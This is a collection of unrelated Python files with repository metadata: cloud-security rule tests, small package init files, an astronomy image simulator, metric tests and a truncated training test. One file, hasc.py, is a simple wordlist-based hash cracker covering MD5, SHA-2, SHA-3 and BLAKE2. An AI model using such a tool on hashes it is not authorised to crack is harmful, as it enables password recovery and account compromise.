tests/knowledge/rules/aws/non_context_aware/encryption_enforcement_rules/encrypt_at_rest/test_ensure_neptune_cluster_encrypted_at_rest_rule_with_customer_managed_cmk.py

my-devops-info/cloudrail-knowledge

b7c1bbd6fe1faeb79c105a01c0debbe24d031a0e

[ "MIT" ]

null

tests/knowledge/rules/aws/non_context_aware/encryption_enforcement_rules/encrypt_at_rest/test_ensure_neptune_cluster_encrypted_at_rest_rule_with_customer_managed_cmk.py

my-devops-info/cloudrail-knowledge

b7c1bbd6fe1faeb79c105a01c0debbe24d031a0e

[ "MIT" ]

null

tests/knowledge/rules/aws/non_context_aware/encryption_enforcement_rules/encrypt_at_rest/test_ensure_neptune_cluster_encrypted_at_rest_rule_with_customer_managed_cmk.py

my-devops-info/cloudrail-knowledge

b7c1bbd6fe1faeb79c105a01c0debbe24d031a0e

[ "MIT" ]

null

import unittest from cloudrail.dev_tools.rule_test_utils import create_empty_entity from cloudrail.knowledge.context.aws.kms.kms_key import KmsKey from cloudrail.knowledge.context.aws.kms.kms_key_manager import KeyManager from cloudrail.knowledge.context.aws.neptune.neptune_cluster import NeptuneCluster from cloudrail.knowledge.context.aws.aws_environment_context import AwsEnvironmentContext from cloudrail.knowledge.context.terraform_state import TerraformState from cloudrail.knowledge.rules.aws.non_context_aware.encryption_enforcement_rules.\ encrypt_at_rest.ensure_neptune_cluster_encrypted_at_rest_rule_with_customer_managed_cmk import \ EnsureNeptuneClusterEncryptedAtRestWithCustomerManagedCmkRule from cloudrail.knowledge.rules.base_rule import RuleResultType class TestEnsureNeptuneClusterEncryptedAtRestWithCustomerManagedCmkRule(unittest.TestCase): def setUp(self): self.rule = EnsureNeptuneClusterEncryptedAtRestWithCustomerManagedCmkRule() def test_non_car_neptune_cluster_encrypt_at_rest_with_customer_managed_cmk_fail(self): # Arrange neptune_cluster: NeptuneCluster = create_empty_entity(NeptuneCluster) terraform_state = create_empty_entity(TerraformState) neptune_cluster.terraform_state = terraform_state neptune_cluster.terraform_state.is_new = True neptune_cluster.encrypted_at_rest = True neptune_cluster.kms_data = KmsKey(key_id='key', arn='arn', key_manager=KeyManager.AWS, region='us-east-1', account='111111111') context = AwsEnvironmentContext(neptune_clusters=[neptune_cluster]) # Act result = self.rule.run(context, {}) # Assert self.assertEqual(RuleResultType.FAILED, result.status) self.assertEqual(1, len(result.issues)) def test_non_car_neptune_cluster_encrypt_at_rest_with_customer_managed_cmk_pass(self): # Arrange neptune_cluster: NeptuneCluster = create_empty_entity(NeptuneCluster) terraform_state = create_empty_entity(TerraformState) neptune_cluster.terraform_state = terraform_state neptune_cluster.terraform_state.is_new = True neptune_cluster.encrypted_at_rest = True neptune_cluster.kms_data = KmsKey(key_id='key', arn='arn', key_manager=KeyManager.CUSTOMER, region='us-east-1', account='111111111') context = AwsEnvironmentContext(neptune_clusters=[neptune_cluster]) # Act result = self.rule.run(context, {}) # Assert self.assertEqual(RuleResultType.SUCCESS, result.status) self.assertEqual(0, len(result.issues)) def test_non_car_neptune_cluster_encrypt_at_rest_with_customer_managed__not_new_resource__cmk_pass(self): # Arrange neptune_cluster: NeptuneCluster = create_empty_entity(NeptuneCluster) terraform_state = create_empty_entity(TerraformState) neptune_cluster.terraform_state = terraform_state neptune_cluster.terraform_state.is_new = False neptune_cluster.encrypted_at_rest = True neptune_cluster.kms_data = KmsKey(key_id='key', arn='arn', key_manager=KeyManager.AWS, region='us-east-1', account='111111111') context = AwsEnvironmentContext(neptune_clusters=[neptune_cluster]) # Act result = self.rule.run(context, {}) # Assert self.assertEqual(RuleResultType.SUCCESS, result.status) self.assertEqual(0, len(result.issues)) def test_non_car_neptune_cluster_encrypt_at_rest_with_customer_managed__no_kms_data__cmk_fail(self): # Arrange neptune_cluster: NeptuneCluster = create_empty_entity(NeptuneCluster) terraform_state = create_empty_entity(TerraformState) neptune_cluster.terraform_state = terraform_state neptune_cluster.terraform_state.is_new = True neptune_cluster.encrypted_at_rest = True context = AwsEnvironmentContext(neptune_clusters=[neptune_cluster]) # Act result = self.rule.run(context, {}) # Assert self.assertEqual(RuleResultType.FAILED, result.status) self.assertEqual(1, len(result.issues))

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null

0

1

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null

0

5

56c841bfeca7d17c0c687b155ca31694f4940870

79

py

Python

script/commons/__init__.py

ybkuroki/selenium-e2e-sample

18a7e92d9b338104ac8b418a6987cadfd1c12d39

[ "MIT" ]

1

2021-09-08T20:05:40.000Z

script/commons/__init__.py

ybkuroki/selenium-e2e-sample

18a7e92d9b338104ac8b418a6987cadfd1c12d39

[ "MIT" ]

null

script/commons/__init__.py

ybkuroki/selenium-e2e-sample

18a7e92d9b338104ac8b418a6987cadfd1c12d39

[ "MIT" ]

null

from .stream_yaml import StreamYaml from .resource_loader import ResourceLoader

39.5

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0.886076

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0

1

0

1

0

1

0

5

56d6133b0763cad627bffa7320e5ac2e310de3f1

26

py

Python

soda/core/soda/execution/telemetry.py

duyet/soda-core

92a52e0d7c1e88624d0637123cfcb2610af6d112

[ "Apache-2.0" ]

4

2022-03-23T02:43:42.000Z

2022-03-31T15:20:54.000Z

soda/core/soda/execution/telemetry.py

duyet/soda-core

92a52e0d7c1e88624d0637123cfcb2610af6d112

[ "Apache-2.0" ]

543

2022-03-22T09:02:17.000Z

2022-03-31T16:29:41.000Z

soda/core/soda/execution/telemetry.py

duyet/soda-core

92a52e0d7c1e88624d0637123cfcb2610af6d112

[ "Apache-2.0" ]

1

2022-03-27T03:37:55.000Z

class Telemetry: pass

8.666667

16

0.692308

3

26

6

1

0

0.269231

26

2

17

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0.947368

0

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null

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1

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null

0

1

0

5

710a5f3013dcbd02c8ceda5b65ef5d0194668901

1,164

py

Python

ixian_docker/tests/modules/bower/snapshots/snap_test_config.py

kreneskyp/ixian-docker

ce7a6cee2f961b8446dc3d9429a809ab5a235467

[ "Apache-2.0" ]

null

ixian_docker/tests/modules/bower/snapshots/snap_test_config.py

kreneskyp/ixian-docker

ce7a6cee2f961b8446dc3d9429a809ab5a235467

[ "Apache-2.0" ]

null

ixian_docker/tests/modules/bower/snapshots/snap_test_config.py

kreneskyp/ixian-docker

ce7a6cee2f961b8446dc3d9429a809ab5a235467

[ "Apache-2.0" ]

null

# -*- coding: utf-8 -*- # snapshottest: v1 - https://goo.gl/zC4yUc from __future__ import unicode_literals from pysnap import Snapshot snapshots = Snapshot() snapshots['TestBowerConfig.test_read[ARGS] 1'] = [ '--config.interactive=false', '--allow-root' ] snapshots['TestBowerConfig.test_read[BIN] 1'] = '/srv/unittests/node_modules/.bin/bower' snapshots['TestBowerConfig.test_read[COMPONENTS_DIR] 1'] = '/srv/unittests/bower_components' snapshots['TestBowerConfig.test_read[CONFIG_FILE] 1'] = 'bower.json' snapshots['TestBowerConfig.test_read[CONFIG_FILE_PATH] 1'] = '/srv/unittests/project/bower.json' snapshots['TestBowerConfig.test_read[DOCKERFILE] 1'] = 'Dockerfile.bower' snapshots['TestBowerConfig.test_read[IMAGE] 1'] = 'docker.io/library/unittests:bower-27a022922e73344c316d657ad99710548617005cf8886fb16139237a21bf4d4f' snapshots['TestBowerConfig.test_read[IMAGE_TAG] 1'] = 'bower-27a022922e73344c316d657ad99710548617005cf8886fb16139237a21bf4d4f' snapshots['TestBowerConfig.test_read[MODULE_DIR] 1'] = '/opt/ixian_docker/ixian_docker/modules/bower' snapshots['TestBowerConfig.test_read[REPOSITORY] 1'] = 'docker.io/library/unittests'

36.375

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0

0.125

0

null

1

0

1

null

0

5

713b38f89f89fcc7384a3684e9a19ccbd3668fd6

55

py

Python

src/pyfreedompro/__init__.py

stefano055415/pyfreedompro

efba39f8b97c1ece914652c256a6f7cdb6d052f0

[ "MIT" ]

null

src/pyfreedompro/__init__.py

stefano055415/pyfreedompro

efba39f8b97c1ece914652c256a6f7cdb6d052f0

[ "MIT" ]

1

2021-03-16T17:04:35.000Z

2021-03-17T12:50:19.000Z

src/pyfreedompro/__init__.py

stefano055415/pyfreedompro

efba39f8b97c1ece914652c256a6f7cdb6d052f0

[ "MIT" ]

1

2021-03-16T15:25:40.000Z

from .functions import get_list, get_states, put_state

27.5

54

0.836364

9

55

4.777778

0.888889

0

0.109091

55

1

55

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0

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true

0

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0

1

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null

0

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null

0

1

0

1

0

1

0

5

8539f3c70da9670fd5fe800c409d4ac5a83502c3

9,820

py

Python

SimAGNReal.py

myinxd/FirstTry

167efa4f6a4ad3665b92b264af4d1fec5be968b0

[ "MIT" ]

null

SimAGNReal.py

myinxd/FirstTry

167efa4f6a4ad3665b92b264af4d1fec5be968b0

[ "MIT" ]

null

SimAGNReal.py

myinxd/FirstTry

167efa4f6a4ad3665b92b264af4d1fec5be968b0

[ "MIT" ]

1

2020-03-02T04:34:04.000Z

# Module name: SimAGN # Class: Elp # Class: Flux # Functions # 1. Calc_Tb # 2. SimpleSim # 3. GenMultiFRs import numpy as np import PIL.Image as Image import pyfits import matplotlib.pyplot as plt # define Elliptical lobe and core class class Elp: def __init__(self): self.Center = np.zeros((2,)) self.MajAxis = np.zeros((1,)) self.MinAxis = np.zeros((1,)) self.Angle = np.zeros((1,)) def save_as_dict(self): Params = {'Center':self.Center,'MajAxis':self.MajAxis, 'MinAxis':self.MinAxis,'Angle':self.Angle} return Params def genCore(self,ImageMat,Param_Flux): # preparing Area = np.pi * self.MajAxis * self.MinAxis Rows,Cols = ImageMat.shape if self.MajAxis > self.MinAxis: AxisMax = self.MajAxis C_core = np.sqrt(self.MajAxis**2 - self.MinAxis**2) # Focus1 F1_core_x = C_core F1_core_y = 0 # Focus2 F2_core_x = -C_core F2_core_y = 0 else: AxisMax = self.MinAxis C_core = np.sqrt(self.MinAxis**2 - self.MajAxis**2) # Focus1 F1_core_x = 0 F1_core_y = C_core # Focus2 F2_core_x = 0 F2_core_y = -C_core # Fill with flux # Intergerize a = int(np.round(self.MajAxis)) b = int(np.round(self.MinAxis)) x = np.arange(-a,a+1,1) y = np.arange(-b,b+1,1) # Ellipse for i in range(len(x)): for j in range(len(y)): DistFocus1 = np.sqrt((x[i]-F1_core_x)**2+(y[j]-F1_core_y)**2) DistFocus2 = np.sqrt((x[i]-F2_core_x)**2+(y[j]-F2_core_y)**2) if (DistFocus1+DistFocus2<=2*AxisMax): x_r = x[i]*np.cos(self.Angle) - y[j]*np.sin(self.Angle) y_r = x[i]*np.sin(self.Angle) + y[j]*np.cos(self.Angle) x_r = int(round(x_r+self.Center[0])) y_r = int(round(y_r+self.Center[1])) # Judge and Fill if (x_r>=1) and (x_r<=Cols) and (y_r>=1) and (y_r<=Rows): ImageMat[y_r-1][x_r-1] = Param_Flux.Calc_Tb(Area,Flag=0) return ImageMat def genLobes(self,ImageMat,Param_Flux,CoreAng=np.pi/2,CoreCen=np.zeros((2,))): # preparing Area = np.pi * self.MajAxis * self.MinAxis Rows,Cols = ImageMat.shape # Lobe1 RotAng = self.Angle + CoreAng CenDiff = [self.MajAxis * np.cos(self.Angle),self.MajAxis * np.sin(self.Angle)] self.Center[0] = CoreCen[0]+CenDiff[0]*np.cos(CoreAng)-CenDiff[1]*np.sin(CoreAng) self.Center[1] = CoreCen[1]+CenDiff[0]*np.sin(CoreAng)+CenDiff[1]*np.cos(CoreAng) if self.MajAxis > self.MinAxis: AxisMax = self.MajAxis C_core = np.sqrt(self.MajAxis**2 - self.MinAxis**2) # Focus1 F1_core_x = C_core F1_core_y = 0 # Focus2 F2_core_x = -C_core F2_core_y = 0 else: AxisMax = self.MinAxis C_core = np.sqrt(self.MinAxis**2 - self.MajAxis**2) # Focus1 F1_core_x = 0 F1_core_y = C_core # Focus2 F2_core_x = 0 F2_core_y = -C_core a = int(np.round(self.MajAxis)) b = int(np.round(self.MinAxis)) x = np.arange(-a,a+1,1) y = np.arange(-b,b+1,1) # Ellipse for i in range(len(x)): for j in range(len(y)): DistFocus1 = np.sqrt((x[i]-F1_core_x)**2+(y[j]-F1_core_y)**2) DistFocus2 = np.sqrt((x[i]-F2_core_x)**2+(y[j]-F2_core_y)**2) if (DistFocus1+DistFocus2<=2*AxisMax): x_r = x[i]*np.cos(RotAng) - y[j]*np.sin(RotAng) y_r = x[i]*np.sin(RotAng) + y[j]*np.cos(RotAng) x_r = int(round(x_r+self.Center[0])) y_r = int(round(y_r+self.Center[1])) # Judge and Fill if (x_r>=1) and (x_r<=Cols) and (y_r>=1) and (y_r<=Rows): ImageMat[y_r-1][x_r-1] = Param_Flux.Calc_Tb(Area,Flag=1) # Lobe2 Rot_Ang = self.Angle + CoreAng + np.pi CenDiff = [self.MajAxis * np.cos(self.Angle),self.MajAxis * np.sin(self.Angle)] self.Center[0] = CoreCen[0]+CenDiff[0]*np.cos(CoreAng + np.pi)-CenDiff[1]*np.sin(CoreAng + np.pi) self.Center[1] = CoreCen[1]+CenDiff[0]*np.sin(CoreAng + np.pi)+CenDiff[1]*np.cos(CoreAng + np.pi) if self.MajAxis > self.MinAxis: AxisMax = self.MajAxis C_core = np.sqrt(self.MajAxis**2 - self.MinAxis**2) # Focus1 F1_core_x = C_core F1_core_y = 0 # Focus2 F2_core_x = -C_core F2_core_y = 0 else: AxisMax = self.MinAxis C_core = np.sqrt(self.MinAxis**2 - self.MajAxis**2) # Focus1 F1_core_x = 0 F1_core_y = C_core # Focus2 F2_core_x = 0 F2_core_y = -C_core a = int(np.round(self.MajAxis)) b = int(np.round(self.MinAxis)) x = np.arange(-a,a+1,1) y = np.arange(-b,b+1,1) # Ellipse for i in range(len(x)): for j in range(len(y)): DistFocus1 = np.sqrt((x[i]-F1_core_x)**2+(y[j]-F1_core_y)**2) DistFocus2 = np.sqrt((x[i]-F2_core_x)**2+(y[j]-F2_core_y)**2) if (DistFocus1+DistFocus2<=2*AxisMax): x_r = x[i]*np.cos(RotAng) - y[j]*np.sin(RotAng) y_r = x[i]*np.sin(RotAng) + y[j]*np.cos(RotAng) x_r = int(round(x_r+self.Center[0])) y_r = int(round(y_r+self.Center[1])) # Judge and Fill if (x_r>=1) and (x_r<=Cols) and (y_r>=1) and (y_r<=Rows): ImageMat[y_r-1][x_r-1] = Param_Flux.Calc_Tb(Area,Flag=1) return ImageMat class Flux: def __init__(self,Freq = 150,ClassType=1): self.I_151 = 10**(np.random.uniform(-4,-3)) self.Freq = Freq self.ClassType = ClassType def genSpec(self): # generate the spectrum # Use IF-THEN to replace SWITCH-CASE if self.ClassType == 1: Spec_lobe = (self.Freq/151e6)**-0.75*self.I_151 a0 = np.log10(self.I_151)-0.7*np.log10(151e6)+0.29*np.log10(151e6)*np.log10(151e6) lgs = a0+0.7*np.log10(self.Freq)-0.29*np.log10(self.Freq)*np.log10(self.Freq) Spec_core = 10**lgs Spec = np.array([Spec_core,Spec_lobe]) elif self.ClassType == 2: Spec_lobe = (self.Freq/151e6)**-0.75*self.I_151 Spec_hotspot = (self.Freq/151e6)**-0.75*self.I_151 a0 = np.log10(self.I_151)-0.7*np.log10(151e6)+0.29*np.log10(151e6)*np.log10(151e6) lgs = a0+0.7*np.log10(self.Freq)-0.29*np.log10(self.Freq)*np.log10(self.Freq) Spec_core = 10**lgs Spec = np.array([Spec_core,Spec_lobe,Spec_hotspot]) return Spec # Calc_Tb def Calc_Tb(self,Area,Flag=0): c = 2.99792458e8 kb = 1.38e-23 flux_in_Jy = self.genSpec()[Flag] Omegab = Area/(3600*180/np.pi)/(3600*180/np.pi) Sb = flux_in_Jy * 1e-26 /Omegab FluxPixel = Sb/2/self.Freq/self.Freq*c*c/kb return FluxPixel def SimpleSim(Rows=512,Cols=512): # Init Param_core = Elp() Param_lobe = Elp() Param_Flux = Flux() ImageMat = np.zeros((Rows,Cols)) # Caution: pay attention to the index # Core parameters Param_core.Center[0] = np.random.uniform(1,Cols) Param_core.Center[1] = np.random.uniform(1,Rows) Param_core.MajAxis = np.random.uniform(0,1) Param_core.MinAxis = np.random.uniform(0,1) Param_core.Angle = np.random.uniform(-np.pi,np.pi) # Love parameters Param_lobe.MajAxis = np.random.uniform(0,10) Param_lobe.MinAxis = np.random.uniform(0,4) Param_lobe.Angle = np.random.uniform(-np.pi,np.pi) # Embed into the image mat ImgLobe = Param_lobe.genLobes(ImageMat,Param_Flux,CoreAng=Param_core.Angle, CoreCen=Param_core.Center) ImgCore = Param_core.genCore(ImageMat,Param_Flux) ImageMat = ImgLobe+ImgCore # Display #Idx = np.argwhere(ImageMat>0) #ImageMat[Idx[:,0],Idx[:,1]] = 100 ImgTest = Image.fromarray(ImageMat) ImgTest.show() def GenMultiFRs(Rows=512,Cols=512,Freq=150,NumFR=100): # Generate multiple simulated FRs # Init Param_core = Elp() Param_lobe = Elp() Param_Flux = Flux() Param_Flux.Freq = Freq ImageMat = np.zeros((Rows,Cols)) for x in range(NumFR): print 'FR %d' % x # Core parameters Param_core.Center[0] = np.random.uniform(1,Cols) Param_core.Center[1] = np.random.uniform(1,Rows) Param_core.MajAxis = np.random.uniform(0,1) Param_core.MinAxis = np.random.uniform(0,1) Param_core.Angle = np.random.uniform(-np.pi,np.pi) # Lobe parameters Param_lobe.MajAxis = np.random.uniform(0,5) Param_lobe.MinAxis = np.random.uniform(0,2) Param_lobe.Angle = np.random.uniform(-np.pi,np.pi) # Embed into the image mat ImgLobe = Param_lobe.genLobes(ImageMat,Param_Flux,CoreAng=Param_core.Angle, CoreCen=Param_core.Center) ImgCore = Param_core.genCore(ImageMat,Param_Flux) ImageMat = ImgLobe+ImgCore # Display Idx = np.argwhere(ImageMat>0) ImageMat[Idx[:,0],Idx[:,1]] = 100 ImgTest = Image.fromarray(ImageMat) ImgTest = ImgTest.convert('RGB') FileName = 'Img_'+str(Freq)+'.jpg' ImgTest.save(FileName) ImgTest.show()

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5

8559b515263f384e18aed6b99cfd9a3a5ca8c138

80

py

Python

notebooks/figures/funnel/__init__.py

mgrover1/cesm2-marbl-book

670375dd5ed800afd4a86de9871a7d44c535a3f0

[ "Apache-2.0" ]

null

notebooks/figures/funnel/__init__.py

mgrover1/cesm2-marbl-book

670375dd5ed800afd4a86de9871a7d44c535a3f0

[ "Apache-2.0" ]

4

2021-06-10T15:22:33.000Z

2021-06-21T19:29:03.000Z

notebooks/figures/funnel/__init__.py

mgrover1/cesm2-marbl-book

670375dd5ed800afd4a86de9871a7d44c535a3f0

[ "Apache-2.0" ]

1

2021-05-18T18:41:57.000Z

from . core import Collection, register_derived_var, register_query_dependent_op

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null

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1

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1

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1

0

5

857a6f4968e0416c3c09ee515c59ea01f0c88026

466

py

Python

amocrm_api_client/token_provider/core/__init__.py

iqtek/amocrm_api_client

910ea42482698f5eb47d6b6e12d52ec09af77a3e

[ "MIT" ]

null

amocrm_api_client/token_provider/core/__init__.py

iqtek/amocrm_api_client

910ea42482698f5eb47d6b6e12d52ec09af77a3e

[ "MIT" ]

null

amocrm_api_client/token_provider/core/__init__.py

iqtek/amocrm_api_client

910ea42482698f5eb47d6b6e12d52ec09af77a3e

[ "MIT" ]

null

from .exceptions import AuthorizationCodeExpiredException from .exceptions import InvalidAuthorizationDataException from .exceptions import RefreshTokenExpiredException from .ICheckAccessTokenFunction import ICheckAccessTokenFunction from .IGetTokensByAuthCodeFunction import IGetTokensByAuthCodeFunction from .IGetTokensByRefreshTokenFunction import IGetTokensByRefreshTokenFunction from .ITokenProvider import ITokenProvider from .TokensBundle import TokensBundle

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null

0

1

0

1

0

1

0

5

857efbac00175a7f1b9b930c7299df4e8766bb62

55

py

Python

vnpy/api/bitmex/__init__.py

black0144/vnpy

0d0ea30dad14a0150f7500ff9a62528030321426

[ "MIT" ]

34

2018-07-13T11:30:46.000Z

2022-01-05T13:48:10.000Z

vnpy/api/bitmex/__init__.py

black0144/vnpy

0d0ea30dad14a0150f7500ff9a62528030321426

[ "MIT" ]

null

vnpy/api/bitmex/__init__.py

black0144/vnpy

0d0ea30dad14a0150f7500ff9a62528030321426

[ "MIT" ]

22

2018-07-13T11:30:48.000Z

2021-09-25T13:30:08.000Z

from .vnbitmex import BitmexRestApi, BitmexWebsocketApi

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null

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1

0

1

0

5

8580a2d2fe660c074062f1272c3e1759782a3e9b

4,444

py

Python

hasc.py

teamx4ck/Hasc

b4e983ca678b5680b2a3c398fd9dc1da12f95ab6

[ "BSL-1.0" ]

1

2021-05-10T06:27:16.000Z

hasc.py

teamx4ck/Hasc

b4e983ca678b5680b2a3c398fd9dc1da12f95ab6

[ "BSL-1.0" ]

1

2021-05-13T04:19:24.000Z

2021-05-29T16:46:58.000Z

hasc.py

teamx4ck/Hasc

b4e983ca678b5680b2a3c398fd9dc1da12f95ab6

[ "BSL-1.0" ]

null

from os import system as sy from time import sleep as slp import sys import hashlib import itertools import threading sy('clear') red='\u001b[31m' grn='\u001b[32m' cyn='\u001b[36m' re='\u001b[0m' ban=cyn+''' /$$ /$$ /$$$$$$ /$$$$$$ /$$$$$$ | $$ | $$ /$$__ $$ /$$__ $$ /$$__ $$ | $$ | $$| $$ \ $$| $$ \__/| $$ \__/ | $$$$$$$$| $$$$$$$$| $$$$$$ | $$ | $$__ $$| $$__ $$ \____ $$| $$ | $$ | $$| $$ | $$ /$$ \ $$| $$ $$ | $$ | $$| $$ | $$| $$$$$$/| $$$$$$/ |__/ |__/|__/ |__/ \______/ \______/ '''+re print(ban) def md5(wd,hah): try: open(wd,'r') except: print(red+'Wordlist Not found!'+re) slp(2) sy('clear') sy('python hasc.py') f=open(wd,'r') while True: rt=f.readline() rf=rt.replace('\n','').encode() rehash=hashlib.md5(rf).hexdigest() if hah==rehash: done = True print(grn+'Hash Found : '+rf.decode()); break else: pass if len(rf)==0: print(red+'Hash not in wordlist..'+re); break def sha256(wd,hah): try: open(wd,'r') except: print(red+'Wordlist Not found!'+re) slp(2) sy('clear') sy('python hasc.py') f=open(wd,'r') while True: rt=f.readline() rf=rt.replace('\n','').encode() rehash=hashlib.sha256(rf).hexdigest() print(rehash) if hah==rehash: done = True print(grn+'Hash Found : '+rf.decode()); break else: pass if len(rf)==0: print(red+'Hash not in wordlist..'+re); break def sha512(wd,hah): try: open(wd,'r') except: print(red+'Wordlist Not found!'+re) slp(2) sy('clear') sy('python hasc.py') f=open(wd,'r') while True: rt=f.readline() rf=rt.replace('\n','').encode() rehash=hashlib.sha512(rf).hexdigest() if hah==rehash: done = True print(grn+'Hash Found : '+rf.decode()); break else: pass if len(rf)==0: print(red+'Hash not in wordlist..'+re); break def sha3_256(wd,hah): try: open(wd,'r') except: print(red+'Wordlist Not found!'+re) slp(2) sy('clear') sy('python hasc.py') f=open(wd,'r') while True: rt=f.readline() rf=rt.replace('\n','').encode() rehash=hashlib.sha3_256(rf).hexdigest() if hah==rehash: done = True print(grn+'Hash Found : '+rf.decode()); break else: pass if len(rf)==0: print(red+'Hash not in wordlist..'+re); break def sha3_512(wd,hah): try: open(wd,'r') except: print(red+'Wordlist Not found!'+re) slp(2) sy('clear') sy('python hasc.py') f=open(wd,'r') while True: rt=f.readline() rf=rt.replace('\n','').encode() rehash=hashlib.sha3_512(rf).hexdigest() if hah==rehash: done = True print(grn+'Hash Found : '+rf.decode()); break else: pass if len(rf)==0: print(red+'Hash not in wordlist..'+re); break def blake2b(wd,hah): try: open(wd,'r') except: print(red+'Wordlist Not found!'+re) slp(2) sy('clear') sy('python hasc.py') f=open(wd,'r') while True: rt=f.readline() rf=rt.replace('\n','').encode() rehash=hashlib.blake2b(rf).hexdigest() if hah==rehash: done = True print(grn+'Hash Found : '+rf.decode()); break else: pass if len(rf)==0: print(red+'Hash not in wordlist..'+re); break def blake2s(wd,hah): try: open(wd,'r') except: print(red+'Wordlist Not found!'+re) slp(2) sy('clear') sy('python hasc.py') f=open(wd,'r') while True: rt=f.readline() rf=rt.replace('\n','').encode() rehash=hashlib.blake2s(rf).hexdigest(); print(rehash) if hah==rehash: done = True print(grn+'Hash Found : '+rf.decode()); break else: pass if len(rf)==0: print(red+'Hash not in wordlist..'+re); break def opt(n,nm): print(cyn+'['+n+'] '+grn+nm+re) opt('1','MD5') opt('2','SHA-256') opt('3','SHA-512') opt('4','SHA-3-256') opt('5','SHA-3-512') opt('6','BLAKE2c') opt('7','BLAKE2b') opt('00','Exit') opt = input(red+'\n[>] '+cyn+'Enter your option : '+re) if opt=='1' or opt=='2' or opt=='3' or opt=='4' or opt=='5' or opt=='6' or opt=='7': pass elif opt=='0' or opt=='00': slp(1) print(red+'Bye'+re) sys.exit() else: print(red+'Option Not found!!'+re) slp(2) sy('clear') sy('python hasc.py') hash=input(red+'[>] '+cyn+'Enter HASH : '+re) wordlist=input(red+'[>] '+cyn+'Enter Wordlist path : '+re) if opt=='1': md5(wordlist,hash) elif opt=='2': sha256(wordlist,hash) elif opt=='3': sha512(wordlist,hash) elif opt=='4': sha3_256(wordlist,hash) elif opt=='5': sha3_512(wordlist,hash) elif opt=='6': blake2s(wordlist,hash) elif opt=='7': blake2b(wordlist,hash) else: print(red+'Not Found!!!')

21.263158

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0.573582

687

4,444

3.646288

0.128093

0.054291

0.039122

0.041517

0.705389

0

0.035284

0.177318

4,444

208

85

21.365385

0.649891

0

0.655172

0

0.251125

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false

0.039409

0.029557

0

0.068966

0.137931

0

null

0

1

0

null

0

5

85a3c5caee8c0d52f5487970b3da7f636cbd112e

627

py

Python

src/tests/metrics/test_accuracy.py

lab-a1/pyai

0d05324fdf0ac07117eb5f4fde6b90d6cec10479

[ "WTFPL" ]

null

src/tests/metrics/test_accuracy.py

lab-a1/pyai

0d05324fdf0ac07117eb5f4fde6b90d6cec10479

[ "WTFPL" ]

null

src/tests/metrics/test_accuracy.py

lab-a1/pyai

0d05324fdf0ac07117eb5f4fde6b90d6cec10479

[ "WTFPL" ]

null

from pyai import metrics import numpy as np def test_accuracy_1(): y_true = np.array([1, 1, 0, 1, 0, 0]) y_hat = np.array([1, 1, 0, 0, 0, 0]) accuracy = metrics.accuracy(y_true, y_hat) assert round(accuracy, 3) == 0.833 def test_accuracy_2(): y_true = np.array([1, 1, 0, 1, 0, 0]) y_hat = np.array([1, 1, 1, 0, 0, 0]) accuracy = metrics.accuracy(y_true, y_hat) assert round(accuracy, 3) == 0.667 def test_accuracy_3(): y_true = np.array([1, 1, 0, 1, 0, 0]) y_hat = np.array([0, 0, 0, 0, 0, 0]) accuracy = metrics.accuracy(y_true, y_hat) assert round(accuracy, 3) == 0.5

23.222222

46

0.594896

119

627

2.983193

0.193277

0.073239

0.059155

0.126761

0.743662

0.735211

0

0.108108

0.232855

627

26

47

24.115385

0.629938

0

0.352941

0

0.176471

1

0.176471

false

0

0.117647

0

0.294118

0

null

0

1

0

null

0

5

85b12f48e402383950ddc618eb498b50ebc174c0

97

py

Python

contests_yukicoder/283/283_e.py

takelifetime/competitive-programming

e7cf8ef923ccefad39a1727ca94c610d650fcb76

[ "BSD-2-Clause" ]

null

contests_yukicoder/283/283_e.py

takelifetime/competitive-programming

e7cf8ef923ccefad39a1727ca94c610d650fcb76

[ "BSD-2-Clause" ]

1

2021-01-02T06:36:51.000Z

contests_yukicoder/283/283_e.py

takelifetime/competitive-programming

e7cf8ef923ccefad39a1727ca94c610d650fcb76

[ "BSD-2-Clause" ]

null

n = int(input()) ans = [2 * 10 ** 9, 10 ** 9] + list(range(2, n + 1)) + [2 * 10 ** 9] print(*ans)

32.333333

68

0.443299

19

97

2.263158

0.578947

0.209302

0.186047

0

0.178082

0.247423

97

3

69

32.333333

0.410959

0

1

0

false

0

0.333333

1

0

null

1

0

1

0

1

0

null

0

5

85bf3a8a74b1f81b30be9b7a43d2c08c9d253ce3

16,736

py

Python

tests/test_training.py

ruflab/soc

b8508c92a8a27331292c8665cde01a9269b30897

[ "Apache-2.0" ]

null

tests/test_training.py

ruflab/soc

b8508c92a8a27331292c8665cde01a9269b30897

[ "Apache-2.0" ]

null

tests/test_training.py

ruflab/soc

b8508c92a8a27331292c8665cde01a9269b30897

[ "Apache-2.0" ]

null

import os import time import shutil import unittest import pandas as pd import torch from unittest.mock import MagicMock from pytorch_lightning import seed_everything, Trainer from hydra.experimental import initialize, compose from hydra.core.config_store import ConfigStore from soc import models, datasets from soc.training import SocConfig from soc.datasets import make_dataset from soc.runners import make_runner cfd = os.path.dirname(os.path.realpath(__file__)) fixture_dir = os.path.join(cfd, 'fixtures') _DATASET_PATH = os.path.join(fixture_dir, 'soc_seq_3_fullseq.pt') _RAW_DATASET_PATH = os.path.join(fixture_dir, 'soc_seq_3_raw_df.pt') _TEXT_BERT_DATASET_PATH = os.path.join(fixture_dir, 'soc_text_bert_3_fullseq.pt') _RAW_TEXT_BERT_DATASET_PATH = os.path.join(fixture_dir, 'soc_text_bert_3_raw_df.pt') class TestTraining(unittest.TestCase): @classmethod def setUpClass(cls): cs = ConfigStore.instance() cs.store(name="config", node=SocConfig) cs.store(group="runner/model", name="convlstm", node=models.ConvLSTMConfig) cs.store(group="runner/model", name="convlstmpolicy", node=models.ConvLSTMConfig) cs.store(group="runner/model", name="conv3d", node=models.Conv3dModelConfig) cs.store(group="runner/model", name="conv3dpolicy", node=models.Conv3dModelConfig) cs.store(group="runner/model", name="resnet18", node=models.ResNetConfig) cs.store(group="runner/model", name="resnet18policy", node=models.ResNetConfig) cs.store(group="runner/model", name="resnet18fusionpolicy", node=models.ResNetFusionConfig) cs.store( group="runner/model", name="resnet18meanconcatpolicy", node=models.ResNetFusionConfig ) cs.store(group="runner/model", name="resnet18meanffpolicy", node=models.ResNetFusionConfig) cs.store(group="runner/dataset", name="psqlseqsatos", node=datasets.PSQLConfig) cs.store( group="runner/dataset", name="preprocessedforwardsatosa", node=datasets.PreprocessedForwardConfig ) cs.store( group="runner/dataset", name="preprocessedforwardsatosapolicy", node=datasets.PreprocessedForwardConfig ) cs.store( group="runner/dataset", name="preprocessedseqsatosapolicy", node=datasets.PreprocessedSeqConfig ) cs.store( group="runner/dataset", name="psqltextbertforwardsatosapolicy", 